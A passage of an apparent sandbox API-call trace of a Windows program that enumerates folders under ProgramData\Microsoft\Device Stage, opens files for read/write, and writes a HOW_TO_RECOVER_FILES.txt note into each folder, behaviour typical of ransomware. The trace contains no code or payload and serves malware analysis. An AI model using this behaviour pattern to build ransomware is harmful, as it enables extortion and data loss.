ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0095.395] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0095.395] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0095.395] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0095.395] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0095.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0095.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0095.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0095.395] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}", lpFilePart=0x0) returned 0x53 [0095.395] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0095.396] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0095.396] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0095.397] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0095.397] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 1 [0095.397] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0095.397] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0095.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0095.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0095.397] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x62 [0095.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0095.397] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), fInfoLevelId=0x0, lpFileInformation=0x354ab30 | out: lpFileInformation=0x354ab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1)) returned 1 [0095.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0095.399] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x62 [0095.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0095.400] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0095.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0095.402] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0095.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0095.402] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), fInfoLevelId=0x0, lpFileInformation=0x354b3a8 | out: lpFileInformation=0x354b3a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf)) returned 1 [0095.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0095.402] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0095.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0095.402] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7cc [0095.402] GetFileType (hFile=0x7cc) returned 0x1 [0095.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0095.402] GetFileType (hFile=0x7cc) returned 0x1 [0095.402] GetFileSize (in: hFile=0x7cc, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x6cf [0095.402] ReadFile (in: hFile=0x7cc, lpBuffer=0x354bd90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x354bd90*, lpNumberOfBytesRead=0x1f9ed1d8*=0x6cf, lpOverlapped=0x0) returned 1 [0095.406] CloseHandle (hObject=0x7cc) returned 1 [0095.997] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x60 [0095.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0095.998] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9af0) returned 1 [0096.000] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x61 [0096.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0096.000] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), fInfoLevelId=0x0, lpFileInformation=0x34f64c0 | out: lpFileInformation=0x34f64c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1)) returned 1 [0096.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0096.001] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x61 [0096.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0096.001] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9e9b40) returned 1 [0096.003] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ecef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0096.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed410) returned 1 [0096.003] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0096.005] GetFileType (hFile=0x7dc) returned 0x1 [0096.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed380) returned 1 [0096.005] GetFileType (hFile=0x7dc) returned 0x1 [0096.006] WriteFile (in: hFile=0x7dc, lpBuffer=0x34f9178*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ed4d8, lpOverlapped=0x0 | out: lpBuffer=0x34f9178*, lpNumberOfBytesWritten=0x1f9ed4d8*=0x5d0, lpOverlapped=0x0) returned 1 [0096.007] CloseHandle (hObject=0x7dc) returned 1 [0096.007] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ed920, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x45 [0096.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ede40) returned 1 [0096.007] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0096.009] GetFileType (hFile=0x7dc) returned 0x1 [0096.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddb0) returned 1 [0096.009] GetFileType (hFile=0x7dc) returned 0x1 [0096.010] WriteFile (in: hFile=0x7dc, lpBuffer=0x34fc9e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9edf08, lpOverlapped=0x0 | out: lpBuffer=0x34fc9e0*, lpNumberOfBytesWritten=0x1f9edf08*=0x5d0, lpOverlapped=0x0) returned 1 [0096.011] CloseHandle (hObject=0x7dc) returned 1 [0096.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0096.011] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2a [0096.011] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83290 [0096.011] FindNextFileW (in: hFindFile=0x1ec83290, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.012] FindNextFileW (in: hFindFile=0x1ec83290, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0096.012] FindNextFileW (in: hFindFile=0x1ec83290, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0096.012] FindNextFileW (in: hFindFile=0x1ec83290, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0096.012] FindClose (in: hFindFile=0x1ec83290 | out: hFindFile=0x1ec83290) returned 1 [0096.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0096.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0096.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0096.012] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2a [0096.012] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83d70 [0096.012] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.013] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0096.013] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0096.013] FindNextFileW (in: hFindFile=0x1ec83d70, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.013] FindClose (in: hFindFile=0x1ec83d70 | out: hFindFile=0x1ec83d70) returned 1 [0096.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0096.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0096.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0096.013] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x51 [0096.013] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83d10 [0096.396] FindNextFileW (in: hFindFile=0x1ec83d10, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, 